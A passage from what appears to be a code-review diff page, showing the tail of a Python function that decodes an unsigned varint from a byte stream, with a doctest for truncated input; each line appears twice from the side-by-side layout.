3860 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3860 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3861 Traceback (most recent call last):
3861 Traceback (most recent call last):
3862 ...
3862 ...
3863 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3863 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3864 """
3864 """
3865 result = 0
3865 result = 0
3866 shift = 0
3866 shift = 0
3867 while True:
3867 while True:
3868 byte = ord(readexactly(fh, 1))
3868 byte = ord(readexactly(fh, 1))
3869 result |= ((byte & 0x7f) << shift)
3869 result |= ((byte & 0x7f) << shift)
3870 if not (byte & 0x80):
3870 if not (byte & 0x80):
3871 return result
3871 return result
3872 shift += 7
3872 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now